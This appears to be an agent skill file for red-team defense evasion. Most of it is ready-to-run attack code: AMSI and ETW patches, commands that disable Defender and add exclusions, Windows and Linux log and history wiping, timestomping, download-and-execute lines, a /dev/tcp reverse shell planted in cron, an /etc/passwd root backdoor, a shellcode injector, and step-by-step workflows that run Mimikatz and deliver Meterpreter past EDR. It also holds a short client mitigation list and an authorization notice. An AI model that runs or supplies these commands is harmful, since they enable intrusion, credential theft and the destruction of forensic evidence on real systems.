---
name: rt-defense-evasion
description: "Defense evasion skill for authorized engagements. AMSI bypass one-liners for PowerShell, Windows Defender exclusion addition, PowerShell execution policy bypass, log clearing (Windows Event Log and Linux auth.log), timestomping with touch, LOLBAS/GTFOBins living-off-the-land, process injection concepts, and obfuscation techniques. Focused on documented techniques for engagement documentation."
---

# rt-defense-evasion

## Overview

Defense evasion covers the techniques an operator uses to avoid detection by security controls — endpoint detection and response (EDR), antivirus (AV), SIEM rules, and human analysts — during an authorized red team engagement. It is not a single step in the kill chain; it runs in parallel with every other phase.

This skill covers:

- AMSI bypass to neutralize PowerShell script-block logging and AV scanning hooks
- Windows Defender exclusion manipulation
- PowerShell execution policy bypass
- Windows Event Log and Linux auth.log clearing
- Timestomping (file metadata manipulation)
- Living-off-the-land (LOLBAS on Windows, GTFOBins on Linux)
- Process injection concepts and shellcode staging
- Obfuscation — string, base64, invoke-obfuscation, Chameleon

**Authorization requirement:** All techniques documented here are for use inside a written, signed rules-of-engagement (ROE). Running these against systems you do not own or lack written permission to test is illegal.

---

## When to Use

| Scenario | Relevant Techniques |
|---|---|
| Initial access via phishing or exploit, need to run PowerShell payload | AMSI bypass, execution policy bypass |
| Establish persistence without triggering AV | Defender exclusion, LOLBAS |
| Move laterally without noisy tooling | GTFOBins, LOLBAS, process injection |
| Cover tracks before exfil or after objective achieved | Log clearing, timestomping |
| Deliver shellcode past EDR | Process injection, obfuscation |
| Emulate APT tradecraft for purple team | Full evasion chain |

---

## Prerequisites and Tool Setup

### Operator Machine (Kali Linux)

```bash
# Update and install core dependencies
sudo apt update && sudo apt upgrade -y

# PowerShell on Kali (for cross-platform testing)
sudo apt install -y powershell

# Python tooling
sudo apt install -y python3 python3-pip

# Wine (to test Windows binaries locally)
sudo apt install -y wine

# Impacket suite (log parsing, SMB, etc.)
pip3 install impacket

# Evil-WinRM (PowerShell remoting over WinRM)
sudo gem install evil-winrm

# CrackMapExec
sudo apt install -y crackmapexec

# Invoke-Obfuscation (PowerShell module — clone to operator box)
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git ~/tools/Invoke-Obfuscation

# Chameleon (Python-based PowerShell obfuscator)
git clone https://github.com/klezVirus/chameleon.git ~/tools/chameleon
cd ~/tools/chameleon && pip3 install -r requirements.txt

# AMSI Bypass collection
git clone https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git ~/tools/amsi-bypass

# Donut (shellcode generator from .NET assemblies)
git clone https://github.com/TheWover/donut.git ~/tools/donut
cd ~/tools/donut && make

# ScareCrow (EDR-aware shellcode loader generator)
# Requires Go
sudo apt install -y golang
git clone https://github.com/optiv/ScareCrow.git ~/tools/ScareCrow
cd ~/tools/ScareCrow && go build ScareCrow.go

# PEzor (PE packer / shellcode injector)
git clone https://github.com/phra/PEzor.git ~/tools/PEzor
cd ~/tools/PEzor && bash install.sh

# LOLBAS reference (offline copy)
git clone https://github.com/LOLBAS-Project/LOLBAS.git ~/tools/LOLBAS

# GTFOBins reference
git clone https://github.com/GTFOBins/GTFOBins.github.io.git ~/tools/GTFOBins

# timestomp equivalent on Linux (touch is built-in; for Windows artifacts)
sudo apt install -y libewf-dev  # for forensic timestamp analysis

# Nishang (PowerShell offensive framework)
git clone https://github.com/samratashok/nishang.git ~/tools/nishang
```

### Target Environment Assumptions

- Windows 10/11 or Windows Server 2019/2022 target
- PowerShell 5.1 or 7.x available
- Operator has at least local user or SYSTEM shell
- Linux targets running Ubuntu/Debian or RHEL family

---

## Skill Levels

### BEGINNER

Core concepts: execution policy bypass, simple AMSI patches, basic log clearing.

Suitable for: operators who have an interactive shell and need to run unsigned scripts without triggering basic controls.

### INTERMEDIATE

Obfuscation, Defender exclusion manipulation, LOLBAS execution, timestomping.

Suitable for: operators who have defeated initial AV but face EDR behavioral rules.

### ADVANCED

Process injection, shellcode staging, memory-only payloads, ETW patching.

Suitable for: operators facing mature EDR (CrowdStrike Falcon, SentinelOne, Carbon Black).

### EXPERT

Custom loaders, unhooking ntdll, direct syscalls, bring-your-own-vulnerable-driver (BYOVD), sleep obfuscation.

Suitable for: operators against fully-instrumented enterprise with MDR/XDR and threat hunting team.

---

## Techniques Reference

---

### 1. PowerShell Execution Policy Bypass

Execution policy is not a security boundary — it is a convenience setting. Multiple bypasses exist.

```powershell
# Method 1 — bypass flag (most common, logged but permitted)
powershell.exe -ExecutionPolicy Bypass -File script.ps1

# Method 2 — encoded command
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64 = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $b64

# Method 3 — Set-ExecutionPolicy in process scope (no admin required)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

# Method 4 — dot-source from stdin
Get-Content script.ps1 | PowerShell.exe -NoProfile -

# Method 5 — via cmd.exe
cmd /c "echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/run.ps1') | powershell -"
```

**OPSEC note:** `-ExecutionPolicy Bypass` is logged in event ID 4103/4104 if script block logging is enabled. Prefer encoded command or stdin piping when logging is suspected.

---

### 2. AMSI Bypass

AMSI (Antimalware Scan Interface) hooks into PowerShell, .NET, and other runtimes and passes script content to the registered AV engine before execution.

#### 2a. One-liner Memory Patch (PowerShell — BEGINNER)

```powershell
# Classic AmsiScanBuffer patch — sets the scan return to AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | ForEach-Object {
    $_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
}
```

```powershell
# Alternative — direct byte patch via reflection (works on PS 5.1)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
$c=$b.GetValue($null)
[IntPtr]$ptr=$c
$buf=[byte[]]@(0xB8,0x57,0x00,0x07,0x80,0xC3)
$old=0
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,6)
```

#### 2b. String-Split Obfuscated Bypass (BEGINNER — avoids signature on the string itself)

```powershell
$x = 'Amsi'+'Utils'
$y = 'amsi'+'InitFailed'
[Ref].Assembly.GetType('System.Management.Automation.'+$x).GetField($y,'NonPublic,Static').SetValue($null,$true)
```

#### 2c. Chameleon-Obfuscated Bypass (INTERMEDIATE)

```bash
# On Kali — generate obfuscated bypass
cd ~/tools/chameleon
python3 chameleon.py -i amsi_bypass.ps1 -o obfuscated_bypass.ps1 -t powershell
```

#### 2d. PowerShell Downgrade to v2 (BEGINNER — v2 has no AMSI)

```powershell
# Check if v2 engine is available
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# Launch v2 (no AMSI, no script block logging)
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
```

**Detection note:** PowerShell v2 usage is highly anomalous and detected by most SIEMs via event ID 400 engine version field.

#### 2e. ETW Patch (ADVANCED — disables event tracing)

```powershell
# Patch EtwEventWrite to return immediately — suppresses PowerShell telemetry
$patch = [byte[]] (0xc3)
$etw = [System.Diagnostics.Eventing.EventProvider]
$field = $etw.GetField('m_etwCallback', 'NonPublic,Instance')
# Full implementation: patch ntdll!EtwEventWrite via VirtualProtect
# See: https://github.com/byt3bl33d3r/OffensiveDLR
```

#### 2f. AMSI bypass via .NET Reflection for C# Implant (ADVANCED)

```csharp
// In a C# loader — patch AmsiScanBuffer at runtime before loading managed assembly
using System;
using System.Runtime.InteropServices;

[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string proc);
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string lib);
[DllImport("kernel32")] static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint prot, out uint old);

static void PatchAmsi() {
    IntPtr lib = LoadLibrary("amsi.dll");
    IntPtr fn  = GetProcAddress(lib, "AmsiScanBuffer");
    uint old;
    VirtualProtect(fn, (UIntPtr)5, 0x40, out old);
    byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    Marshal.Copy(patch, 0, fn, patch.Length);
    VirtualProtect(fn, (UIntPtr)5, old, out _);
}
```

---

### 3. Windows Defender Exclusion Manipulation

Requires local administrator or SYSTEM privileges.

```powershell
# Add path exclusion
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionPath "C:\Users\Public"

# Add process exclusion (exclude a specific binary from scanning)
Add-MpPreference -ExclusionProcess "powershell.exe"
Add-MpPreference -ExclusionProcess "rundll32.exe"

# Add extension exclusion
Add-MpPreference -ExclusionExtension ".ps1"
Add-MpPreference -ExclusionExtension ".hta"

# Disable real-time monitoring (high noise — avoid unless necessary)
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable behavior monitoring
Set-MpPreference -DisableBehaviorMonitoring $true

# Disable IOAV protection (downloaded file scanning)
Set-MpPreference -DisableIOAVProtection $true

# Check current exclusions
Get-MpPreference | Select-Object -Property Exclusion*

# Via registry (alternative to cmdlet — useful when cmdlet is blocked)
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\Temp" /t REG_DWORD /d 0 /f
```

**OPSEC note:** Defender exclusion changes generate event ID 5007 in the Windows Defender operational log. Disable behavioral monitoring only if EDR is confirmed to be Defender-only, not a third-party EDR.

---

### 4. Log Clearing

#### 4a. Windows Event Log Clearing

```powershell
# Clear all common logs (requires admin)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"

# Clear via PowerShell cmdlet
Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }

# Clear specific log entries by event ID (surgical — less detectable than full wipe)
# Requires custom tooling — see: https://github.com/3gstudent/Eventlogedit-evtx--Evolution

# Disable Windows Event Log service (extreme — causes immediate alert)
sc stop eventlog
sc config eventlog start= disabled

# Delete log files directly (System must be stopped first)
# Path: C:\Windows\System32\winevt\Logs\
Stop-Service -Name EventLog -Force
Remove-Item "C:\Windows\System32\winevt\Logs\Security.evtx" -Force
Start-Service -Name EventLog
```

```cmd
# From cmd.exe without PowerShell
for /F "tokens=*" %G in ('wevtutil el') do wevtutil cl "%G"
```

#### 4b. Linux auth.log Clearing

```bash
# Clear auth.log (requires root)
> /var/log/auth.log
cat /dev/null > /var/log/auth.log
truncate -s 0 /var/log/auth.log

# Clear all common logs
> /var/log/syslog
> /var/log/messages
> /var/log/secure          # RHEL/CentOS equivalent of auth.log
> /var/log/kern.log
> /var/log/wtmp            # login records
> /var/log/btmp            # failed login records
> /var/log/lastlog

# Clear bash history for current user
history -c
history -w
cat /dev/null > ~/.bash_history
unset HISTFILE
export HISTSIZE=0

# Prevent history logging for current session
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

# Clear specific lines from auth.log (surgical — remove only your IP)
ATTACKER_IP="10.10.10.10"
sed -i "/$ATTACKER_IP/d" /var/log/auth.log

# Remove .bash_history for all users (root required)
find /home -name ".bash_history" -exec truncate -s 0 {} \;
truncate -s 0 /root/.bash_history

# Disable rsyslog temporarily (stops new entries — very noisy)
systemctl stop rsyslog
# ... perform actions ...
systemctl start rsyslog
```

**OPSEC note:** Log clearing itself generates event 1102 (Security log cleared) and 104 (System log cleared) on Windows. On Linux, truncating logs while rsyslog holds a file handle may cause rsyslog to recreate the file — verify with `lsof | grep auth.log`. Consider log injection (overwriting with clean baseline) instead of full clearing on mature environments.

---

### 5. Timestomping

Modify MAC (Modified, Accessed, Created) timestamps to blend dropped files into the filesystem.

#### 5a. Linux — touch

```bash
# Set all timestamps to match a reference file
touch -r /bin/ls /tmp/malicious.sh

# Set specific timestamp (YYYYMMDDHHMM.SS format)
touch -t 202301151200.00 /tmp/malicious.sh

# Set access and modification time separately
touch -a -t 202301151200.00 /tmp/malicious.sh   # access time
touch -m -t 202301151200.00 /tmp/malicious.sh   # modification time

# Copy timestamps from a legitimate file on the same system
touch -r /etc/passwd /tmp/implant.py

# Verify
stat /tmp/malicious.sh
ls -la --full-time /tmp/malicious.sh
```

#### 5b. Windows — PowerShell Timestomping

```powershell
# Set all timestamps to match a legitimate file
$ref = Get-Item "C:\Windows\System32\notepad.exe"
$target = Get-Item "C:\Windows\Temp\payload.exe"

$target.CreationTime   = $ref.CreationTime
$target.LastWriteTime  = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

# Set to arbitrary date
$date = [DateTime]::Parse("2022-06-15 10:30:00")
$file = Get-Item "C:\Windows\Temp\loader.dll"
$file.CreationTime   = $date
$file.LastWriteTime  = $date
$file.LastAccessTime = $date

# Verify
Get-Item "C:\Windows\Temp\loader.dll" | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime
```

```cmd
# Via cmd.exe using copy trick (less precise)
copy /b "C:\Windows\Temp\payload.exe" + ,, "C:\Windows\Temp\payload.exe"
```

**OPSEC note:** $MFT timestamps (the Master File Table record) are separate from $STANDARD_INFORMATION timestamps. PowerShell and .NET modify $STANDARD_INFORMATION only. Forensic tools read $FILE_NAME timestamps from MFT, which PowerShell does not patch. Use a dedicated timestomping tool (Metasploit `timestomp` module, or SetMace) to patch both attributes.

```bash
# Metasploit timestomp via Meterpreter
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -m "01/15/2022 10:30:00"
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -a "01/15/2022 10:30:00"
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -c "01/15/2022 10:30:00"
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -e "01/15/2022 10:30:00"
```

---

### 6. LOLBAS — Living Off the Land Binaries (Windows)

Use signed Microsoft binaries to execute, download, and proxy malicious activity.

```powershell
# Reference: https://lolbas-project.github.io/

# --- Execution ---

# certutil — decode and execute base64 payload
certutil -decode payload.b64 payload.exe
certutil -urlcache -split -f http://10.10.10.10/payload.exe C:\Windows\Temp\p.exe

# mshta — execute HTA from remote URL
mshta.exe http://10.10.10.10/payload.hta
mshta.exe javascript:a=new%20ActiveXObject('WScript.Shell');a.Run('cmd /c payload.exe',0,true);close()

# regsvr32 — COM scriptlet execution (squiblydoo)
regsvr32.exe /s /n /u /i:http://10.10.10.10/payload.sct scrobj.dll

# rundll32 — DLL execution
rundll32.exe C:\Windows\Temp\payload.dll,EntryPoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.10.10.10/payload.sct")

# wscript / cscript — VBScript / JScript
wscript.exe //E:jscript payload.js
cscript.exe //nologo payload.vbs

# msiexec — install MSI from remote URL
msiexec /q /i http://10.10.10.10/payload.msi

# PsExec alternative via wmic
wmic process call create "cmd /c whoami > C:\Windows\Temp\out.txt"

# forfiles — execute via file enumeration
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe"

# pcalua — Program Compatibility Assistant execution bypass
pcalua.exe -a calc.exe

# --- Download ---

# bitsadmin
bitsadmin /transfer job1 http://10.10.10.10/payload.exe C:\Windows\Temp\payload.exe

# PowerShell webclient (baseline, expect detection)
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/p.exe','C:\Windows\Temp\p.exe')

# Excel / Word macro download (requires Office)
# Documented but requires user interaction

# --- Compile and Execute ---

# csc.exe — C# compiler (ships with .NET)
echo 'using System;class P{static void Main(){System.Diagnostics.Process.Start("calc.exe");}}' > C:\Windows\Temp\p.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Windows\Temp\p.exe C:\Windows\Temp\p.cs
C:\Windows\Temp\p.exe

# msbuild — execute inline C# task from XML project file
msbuild.exe C:\Windows\Temp\payload.csproj

# --- Proxy Execution to Bypass AppLocker ---

# installutil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# regasm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u payload.dll
```

---

### 7. GTFOBins — Living Off the Land (Linux)

```bash
# Reference: https://gtfobins.github.io/

# --- Shell escape from restricted environments ---

# python
python3 -c 'import os; os.system("/bin/bash")'

# perl
perl -e 'exec "/bin/bash";'

# awk
awk 'BEGIN {system("/bin/bash")}'

# find — spawn shell
find / -exec /bin/bash -p \; -quit 2>/dev/null

# vim — if editor is available
vim -c ':!/bin/bash'

# --- File read (bypass restricted read access) ---

# openssl
openssl enc -in /etc/shadow

# base64
base64 /etc/shadow | base64 -d

# --- SUID privilege escalation ---

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# tar with SUID
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# cp — overwrite /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'r00t::0:0::/root:/bin/bash' >> /etc/passwd
su r00t

# --- Download via GTFOBins ---

# curl (already a living-off-the-land tool)
curl http://10.10.10.10/payload.sh -o /tmp/payload.sh

# wget
wget http://10.10.10.10/payload.sh -O /tmp/payload.sh

# python
python3 -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/p','./p')"

# --- Cron abuse ---

echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/cron.d/job
```

---

### 8. Process Injection (Concepts and Implementation)

**Important:** Detailed shellcode injection is engagement-specific. The patterns below are documented for educational use within authorized engagements.

#### 8a. Classic VirtualAllocEx / WriteProcessMemory / CreateRemoteThread (C)

```c
// Canonical CreateRemoteThread injection skeleton
// Compile: x86_64-w64-mingw32-gcc inject.c -o inject.exe

#include <windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c
unsigned char shellcode[] = "\xfc\x48...";  // replace with actual shellcode

int main(int argc, char* argv[]) {
    DWORD pid = atoi(argv[1]);
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) { printf("OpenProcess failed\n"); return 1; }

    LPVOID addr = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, addr, shellcode, sizeof(shellcode), NULL);

    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProc);
    return 0;
}
```

```bash
# Cross-compile on Kali
x86_64-w64-mingw32-gcc inject.c -o inject.exe -lws2_32
```

#### 8b. Process Hollowing Concept (ADVANCED)

Process hollowing creates a legitimate process in suspended state, unmaps its image, writes malicious code, then resumes execution. Tools:

```bash
# Use existing tools for process hollowing
# Metasploit module: post/windows/manage/shellcode_inject
# Cobalt Strike: shinject / inject commands

# RunPE implementations
git clone https://github.com/aaaddress1/RunPE-In-Memory ~/tools/RunPE
```

#### 8c. DLL Injection via PowerShell (INTERMEDIATE)

```powershell
# Reflective DLL injection via Invoke-ReflectivePEInjection (PowerSploit)
git clone https://github.com/PowerShellMafia/PowerSploit ~/tools/PowerSploit

# Load and inject
Import-Module ~/tools/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\Temp\payload.dll")
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcName explorer
```

#### 8d. Donut — Convert .NET to Shellcode (ADVANCED)

```bash
# Generate shellcode from .NET assembly
cd ~/tools/donut
./donut -f 1 -a 2 -o shellcode.bin payload.exe

# Output as C array
./donut -f 2 -a 2 -o shellcode.c payload.exe

# Encrypt the shellcode
./donut -f 1 -a 2 -e 3 -o shellcode.bin payload.exe
```

#### 8e. ScareCrow — EDR-Aware Loader (EXPERT)

```bash
cd ~/tools/ScareCrow

# Generate loader that unhooks EDR and injects shellcode
./ScareCrow -I shellcode.bin -domain "microsoft.com" -Loader binary

# Generate DLL loader
./ScareCrow -I shellcode.bin -Loader dll -domain "microsoft.com"

# Generate with sleep obfuscation
./ScareCrow -I shellcode.bin -Loader binary -sleep 30
```

---

### 9. Obfuscation Techniques

#### 9a. Base64 Encoding (BEGINNER)

```bash
# Encode PowerShell command
python3 -c "
import base64
cmd = 'IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.10/payload.ps1\")'
encoded = base64.b64encode(cmd.encode('utf-16-le')).decode()
print(f'powershell -enc {encoded}')
"
```

#### 9b. Invoke-Obfuscation (INTERMEDIATE)

```powershell
# On Windows or PowerShell on Kali
Import-Module ~/tools/Invoke-Obfuscation/Invoke-Obfuscation.psd1

# Interactive menu
Invoke-Obfuscation

# Or direct obfuscation
$payload = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")'
Invoke-Obfuscation -ScriptBlock ([ScriptBlock]::Create($payload)) -Command 'TOKEN\ALL\1' -Quiet
```

#### 9c. Chameleon — Python-Based Obfuscator (INTERMEDIATE)

```bash
cd ~/tools/chameleon

# Obfuscate a PowerShell script
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1

# With variable renaming and string obfuscation
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1 -v -s

# Check detection rate concept (use VirusTotal API in isolated lab)
python3 chameleon.py -i payload.ps1 -o obfuscated.ps1 --verbose
```

#### 9d. String Concatenation (BEGINNER)

```powershell
# Break up detectable strings
$a = 'Invoke-'
$b = 'Mimikatz'
& ($a + $b)

# Use char codes
[char]73+[char]69+[char]88  # = IEX

# Format operator
'{0}{1}' -f 'Invoke-','Mimikatz'

# Join array
-join ('I','E','X')
```

#### 9e. XOR Encoding for Shellcode (ADVANCED)

```python
# XOR encode shellcode to avoid static signatures
key = 0x41
shellcode = b"\xfc\x48\x83..."  # raw shellcode bytes

encoded = bytearray()
for b in shellcode:
    encoded.append(b ^ key)

# Output as C array
print("unsigned char enc[] = {" + ",".join(f"0x{x:02x}" for x in encoded) + "};")
```

```c
// Decoder stub in C
void decode(unsigned char* buf, int len, unsigned char key) {
    for(int i=0; i<len; i++) buf[i] ^= key;
}
```

---

## Attack Workflows

### Workflow 1: PowerShell Payload Execution Past Defender

**Scenario:** You have a foothold via phishing. The target runs Windows 10 with Windows Defender. You need to run Mimikatz for credential harvesting.

```
Step 1 — Verify AV and logging status
Step 2 — Bypass AMSI
Step 3 — Add exclusion for staging directory
Step 4 — Download and execute payload
Step 5 — Clear PS logs
```

```powershell
# Step 1 — Check AV status
Get-MpComputerStatus | Select-Object AMRunningMode, RealTimeProtectionEnabled

# Step 2 — AMSI bypass (split-string to avoid signature)
$x='Amsi'+'Utils'; $y='amsi'+'InitFailed'
[Ref].Assembly.GetType('System.Management.Automation.'+$x).GetField($y,'NonPublic,Static').SetValue($null,$true)

# Step 3 — Add exclusion for working directory
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Step 4 — Download and execute from excluded path
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/Invoke-Mimikatz.ps1','C:\Windows\Temp\im.ps1')
Import-Module C:\Windows\Temp\im.ps1
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# Step 5 — Clear PowerShell operational log
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Windows PowerShell"
```

---

### Workflow 2: Linux Lateral Movement with Log Sanitization

**Scenario:** You SSH'd into a Linux server using a stolen credential. You need to pivot further and cover your tracks.

```bash
# Step 1 — Suppress history immediately on login
export HISTFILE=/dev/null
export HISTSIZE=0

# Step 2 — Check who else is logged in and what's being logged
who
w
last | head -20
cat /var/log/auth.log | tail -50

# Step 3 — Download implant using LOLBAS-equivalent on Linux
curl http://10.10.10.10/implant -o /tmp/.cache
chmod +x /tmp/.cache

# Step 4 — Timestomp the implant
touch -r /bin/ls /tmp/.cache

# Step 5 — Execute implant in background
nohup /tmp/.cache &>/dev/null &

# Step 6 — Clear auth.log entries referencing attacker IP
ATTACKER_IP="10.10.10.10"
sed -i "/$ATTACKER_IP/d" /var/log/auth.log
sed -i "/$ATTACKER_IP/d" /var/log/syslog

# Step 7 — Clear wtmp and lastlog entries
> /var/log/wtmp
> /var/log/btmp

# Step 8 — Verify cleanup
last | head -10
who
```

---

### Workflow 3: EDR Bypass via LOLBAS and Process Injection (ADVANCED)

**Scenario:** Target has CrowdStrike Falcon. You cannot drop a standard Meterpreter EXE. You use living-off-the-land techniques to stage and inject shellcode into a trusted process.

```bash
# Step 1 — On Kali: Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f raw -o shellcode.bin

# Step 2 — On Kali: Wrap in Donut for position-independent shellcode
cd ~/tools/donut
./donut -f 1 -a 2 -e 3 -o shellcode_enc.bin shellcode.bin

# Step 3 — On Kali: Create ScareCrow loader
cd ~/tools/ScareCrow
./ScareCrow -I ../donut/shellcode_enc.bin -Loader binary -domain "windowsupdate.com" -sleep 30 -o loader.exe

# Step 4 — On Kali: Host the loader
python3 -m http.server 8080

# Step 5 — On target: Download using certutil (LOLBAS)
certutil -urlcache -split -f http://10.10.10.10:8080/loader.exe C:\Windows\Temp\wu.exe

# Step 6 — On target: Timestomp the binary
$ref = Get-Item "C:\Windows\System32\svchost.exe"
$target = Get-Item "C:\Windows\Temp\wu.exe"
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

# Step 7 — On target: Execute via rundll32 proxy if binary is flagged
# Or execute directly — ScareCrow unhooks EDR hooks on load
C:\Windows\Temp\wu.exe

# Step 8 — On Kali: Receive Meterpreter session
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 0.0.0.0; set LPORT 443; run"
```

---

## OPSEC Considerations

### High-Risk Actions (Expect Detection)

| Action | Detection Vector | Risk Level |
|---|---|---|
| `wevtutil cl Security` | Event ID 1102 logged before clearing | HIGH |
| `Set-MpPreference -DisableRealtimeMonitoring $true` | Event ID 5001 in Defender log | HIGH |
| PowerShell `-Version 2` | Event ID 400 version field anomaly | MEDIUM |
| `certutil -urlcache` | Network connection + process ancestry | MEDIUM |
| `CreateRemoteThread` into foreign process | EDR kernel callback | HIGH |
| `Add-MpPreference -ExclusionPath` | Event ID 5007 | MEDIUM |

### Detection Risk by Technique

```
AMSI patch via reflection      → Detected by: AMSI itself (ironic), behavioral AV, ETW
Process hollowing              → Detected by: EDR kernel callbacks, memory scanning
Log clearing                   → Detected by: SIEM (event 1102), log forwarders, WDAC
LOLBAS (certutil download)     → Detected by: network proxy, Sysmon event 3/22, Defender
Execution policy bypass        → Detected by: Script block logging (event 4104)
Timestomping                   → Detected by: MFT forensics ($FILE_NAME vs $SI mismatch)
```

### Mitigation Strategies to Document for Client

1. Enable PowerShell Constrained Language Mode (CLM) via WDAC
2. Enable Script Block Logging (event 4104) and forward to SIEM
3. Enable Sysmon with SwiftOnSecurity ruleset
4. Monitor event IDs 1102, 5001, 5007 with immediate alerting
5. Deploy network proxy with TLS inspection to catch LOLBAS downloads
6. Enable Protected Event Logging (encrypts PS logs, prevents clearing)
7. Deploy AV/EDR with memory scanning and behavioral detection
8. Alert on PowerShell calling `AmsiUtils` or `amsiInitFailed` field names

### OPSEC Best Practices for Operators

```
- Always set HISTFILE=/dev/null before any action on Linux
- Use HTTPS C2 — avoid HTTP which is trivially logged by proxy
- Rotate implant sleep intervals — periodic beacons are detectable
- Use legitimate process names for injection targets (svchost, explorer)
- Do not inject into AV/EDR processes — triggers immediate alert
- Prefer in-memory execution over dropping files to disk
- Use encrypted channels even on internal segments (assume SOC lateral visibility)
- Document every action in the engagement log before executing
- If an alert fires, stop and notify the engagement POC per ROE
```

---

## Output and Documentation Instructions

After each technique, document the following in your engagement log:

```markdown
## Defense Evasion Action Log

**Date/Time (UTC):** 2024-01-15 14:32:00
**Operator:** [callsign]
**Target Host:** WIN-TARGET01 (192.168.1.50)
**Technique:** AMSI Bypass — amsiInitFailed reflection patch
**Command Executed:**
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
**Outcome:** Successful — subsequent Invoke-Mimikatz executed without AV alert
**Artifacts Created:** None (in-memory only)
**Artifacts Modified:** None
**Logs Cleared:** Microsoft-Windows-PowerShell/Operational (wevtutil cl)
**Detection Risk:** MEDIUM — ETW still active, kernel callbacks not bypassed
**Screenshot:** [attach]
**Notes:** Defender real-time protection confirmed active before bypass.
```

### Mandatory Documentation Fields

1. Timestamp (UTC) for every action
2. Source IP and target IP/hostname
3. Exact command or tool invoked
4. Result (success/failure/partial)
5. Artifacts dropped to disk (path, hash SHA-256)
6. Logs cleared (which log, method)
7. Persistence mechanism if installed

---

## Resources

### Official References

- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
- MITRE ATT&CK Indicator Removal: https://attack.mitre.org/techniques/T1070/
- MITRE ATT&CK AMSI Bypass (T1562.001): https://attack.mitre.org/techniques/T1562/001/

### Tools

- LOLBAS Project: https://github.com/LOLBAS-Project/LOLBAS
- GTFOBins: https://github.com/GTFOBins/GTFOBins.github.io
- Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
- Chameleon PS Obfuscator: https://github.com/klezVirus/chameleon
- AMSI Bypass Collection: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- Donut Shellcode Generator: https://github.com/TheWover/donut
- ScareCrow EDR Bypass: https://github.com/optiv/ScareCrow
